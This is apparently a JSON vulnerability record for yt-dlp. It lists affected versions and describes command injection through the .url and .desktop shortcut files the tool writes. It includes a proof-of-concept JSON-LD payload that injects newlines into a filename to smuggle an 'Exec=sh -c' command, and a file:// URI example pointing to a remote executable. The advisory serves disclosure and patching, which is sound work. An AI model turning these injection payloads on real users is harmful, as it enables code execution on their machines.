        "2025.3.13.232844.dev0",
        "2025.3.15.232805.dev0",
        "2025.3.16.232921.dev0",
        "2025.3.2.232817.dev0",
        "2025.3.21",
        "2025.3.21.232842.dev0",
        "2025.3.22.232834.dev0",
        "2025.3.23.232844.dev0",
        "2025.3.25",
        "2025.3.25.703.dev0",
        "2025.3.26",
        "2025.3.26.420.dev0",
        "2025.3.27",
        "2025.3.27.233514.dev0",
        "2025.3.28.232920.dev0",
        "2025.3.3.232847.dev0",
        "2025.3.30.232927.dev0",
        "2025.3.31",
        "2025.3.31.214356.dev0",
        "2025.3.4.232844.dev0",
        "2025.3.5.232947.dev0",
        "2025.3.7.232704.dev0",
        "2025.4.18.232954.dev0",
        "2025.4.19.232942.dev0",
        "2025.4.23.1659.dev0",
        "2025.4.23.232926.dev0",
        "2025.4.24.232927.dev0",
        "2025.4.25.232910.dev0",
        "2025.4.26.232923.dev0",
        "2025.4.27.233024.dev0",
        "2025.4.28.232934.dev0",
        "2025.4.29.232920.dev0",
        "2025.4.30",
        "2025.4.30.232944.dev0",
        "2025.4.5.232914.dev0",
        "2025.4.6.232826.dev0",
        "2025.5.10.232848.dev0",
        "2025.5.11.232911.dev0",
        "2025.5.16.232928.dev0",
        "2025.5.17.232915.dev0",
        "2025.5.18.232948.dev0",
        "2025.5.20.232932.dev0",
        "2025.5.21.232935.dev0",
        "2025.5.22",
        "2025.5.22.232956.dev0",
        "2025.5.22.93922.dev0",
        "2025.5.23.233016.dev0",
        "2025.5.26.232937.dev0",
        "2025.5.27.232941.dev0",
        "2025.5.28.232948.dev0",
        "2025.5.3.232917.dev0",
        "2025.5.30.233011.dev0",
        "2025.5.5.232943.dev0",
        "2025.5.6.232932.dev0",
        "2025.6.1.232947.dev0",
        "2025.6.12.233004.dev0",
        "2025.6.25",
        "2025.6.25.235247.dev0",
        "2025.6.26.233029.dev0",
        "2025.6.27.233026.dev0",
        "2025.6.28.234349.dev0",
        "2025.6.29.233002.dev0",
        "2025.6.3.233020.dev0",
        "2025.6.30",
        "2025.6.30.233919.dev0",
        "2025.6.5.233116.dev0",
        "2025.6.6.233002.dev0",
        "2025.6.7.233023.dev0",
        "2025.6.8.232939.dev0",
        "2025.6.9",
        "2025.6.9.234059.dev0",
        "2025.7.1.235725.dev0",
        "2025.7.11.233035.dev0",
        "2025.7.12.233122.dev0",
        "2025.7.13.233101.dev0",
        "2025.7.14.233051.dev0",
        "2025.7.16.233138.dev0",
        "2025.7.18.233100.dev0",
        "2025.7.19.233203.dev0",
        "2025.7.2.233055.dev0",
        "2025.7.21",
        "2025.7.21.234438.dev0",
        "2025.7.22.233113.dev0",
        "2025.7.23.233136.dev0",
        "2025.7.24.233125.dev0",
        "2025.7.25.233059.dev0",
        "2025.7.26.233101.dev0",
        "2025.7.27.233142.dev0",
        "2025.7.29.233301.dev0",
        "2025.7.30.233130.dev0",
        "2025.7.31.233123.dev0",
        "2025.7.5.233013.dev0",
        "2025.7.6.233008.dev0",
        "2025.7.7.233044.dev0",
        "2025.7.8.233037.dev0",
        "2025.7.9.233050.dev0",
        "2025.8.1.233124.dev0",
        "2025.8.11",
        "2025.8.11.34503.dev0",
        "2025.8.12.233030.dev0",
        "2025.8.13.233032.dev0",
        "2025.8.16.232932.dev0",
        "2025.8.18.232943.dev0",
        "2025.8.19.232936.dev0",
        "2025.8.2.233207.dev0",
        "2025.8.20",
        "2025.8.20.232911.dev0",
        "2025.8.20.24358.dev0",
        "2025.8.21.235612.dev0",
        "2025.8.22",
        "2025.8.22.235700.dev0",
        "2025.8.22.31729.dev0",
        "2025.8.23.234735.dev0",
        "2025.8.27",
        "2025.8.27.235607.dev0",
        "2025.8.28.232853.dev0",
        "2025.8.29.232845.dev0",
        "2025.8.3.233131.dev0",
        "2025.8.30.232839.dev0",
        "2025.8.5.233158.dev0",
        "2025.8.6.233141.dev0",
        "2025.8.7.233150.dev0",
        "2025.8.8.233030.dev0",
        "2025.9.10.232823.dev0",
        "2025.9.11.232836.dev0",
        "2025.9.12.232737.dev0",
        "2025.9.13.232728.dev0",
        "2025.9.16.232710.dev0",
        "2025.9.17.232802.dev0",
        "2025.9.19.232813.dev0",
        "2025.9.21.232818.dev0",
        "2025.9.22.232823.dev0",
        "2025.9.23",
        "2025.9.23.232818.dev0",
        "2025.9.23.64003.dev0",
        "2025.9.26",
        "2025.9.26.220624.dev0",
        "2025.9.30.72057.dev0",
        "2025.9.5",
        "2025.9.5.224711.dev0",
        "2025.9.7.232816.dev0",
        "2025.9.7.655.dev0",
        "2025.9.8.232917.dev0",
        "2026.1.1.233103.dev0",
        "2026.1.16.233125.dev0",
        "2026.1.19.233146.dev0",
        "2026.1.19.359.dev0",
        "2026.1.2.233036.dev0",
        "2026.1.25.233128.dev0",
        "2026.1.27.233257.dev0",
        "2026.1.29",
        "2026.1.29.165626.dev0",
        "2026.1.3.233044.dev0",
        "2026.1.30.233459.dev0",
        "2026.1.31",
        "2026.1.31.233334.dev0",
        "2026.1.4.233103.dev0",
        "2026.1.5.233118.dev0",
        "2026.1.6.233142.dev0",
        "2026.2.12.233641.dev0",
        "2026.2.16.233630.dev0",
        "2026.2.17.233631.dev0",
        "2026.2.18.235726.dev0",
        "2026.2.19.233638.dev0",
        "2026.2.20.235452.dev0",
        "2026.2.21",
        "2026.2.21.202150.dev0",
        "2026.2.22.233517.dev0",
        "2026.2.26.233640.dev0",
        "2026.2.3.233612.dev0",
        "2026.2.4",
        "2026.2.4.233607.dev0",
        "2026.2.6.233518.dev0",
        "2026.2.7.233648.dev0",
        "2026.2.9.233747.dev0",
        "2026.3.10.233607.dev0",
        "2026.3.11.233532.dev0",
        "2026.3.13",
        "2026.3.13.83652.dev0",
        "2026.3.17",
        "2026.3.17.232108.dev0",
        "2026.3.2.233544.dev0",
        "2026.3.21.233500.dev0",
        "2026.3.29.233709.dev0",
        "2026.3.3",
        "2026.3.3.162408.dev0",
        "2026.4.10.235301.dev0",
        "2026.4.30.234007.dev0",
        "2026.4.4.233651.dev0",
        "2026.4.5.233732.dev0",
        "2026.4.7.233742.dev0",
        "2026.5.16.233954.dev0",
        "2026.5.24.234402.dev0",
        "2026.5.25.234532.dev0",
        "2026.5.3.233852.dev0",
        "2026.5.5.233942.dev0",
        "2026.6.10.235405.dev0",
        "2026.6.11.235628.dev0",
        "2026.6.12.235626.dev0",
        "2026.6.13.234541.dev0",
        "2026.6.16.106.dev0",
        "2026.6.16.235352.dev0",
        "2026.6.17.235412.dev0",
        "2026.6.18.235958.dev0",
        "2026.6.20.234736.dev0",
        "2026.6.21.235142.dev0",
        "2026.6.24.234707.dev0",
        "2026.6.26.234622.dev0",
        "2026.6.27.234340.dev0",
        "2026.6.28.234618.dev0",
        "2026.6.29.234344.dev0",
        "2026.6.30.234726.dev0",
        "2026.6.6.234447.dev0",
        "2026.6.9",
        "2026.6.9.230517.dev0",
        "2026.7.1.235203.dev0",
        "2026.7.2.234458.dev0",
        "2026.7.3.234421.dev0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55404",
    "GHSA-6v4j-43gg-vj32"
  ],
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "PYSEC-2026-3622",
  "modified": "2026-08-04T13:36:38.860666Z",
  "published": "2026-08-04T11:34:43.163955Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/yt-dlp"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6v4j-43gg-vj32"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output"
}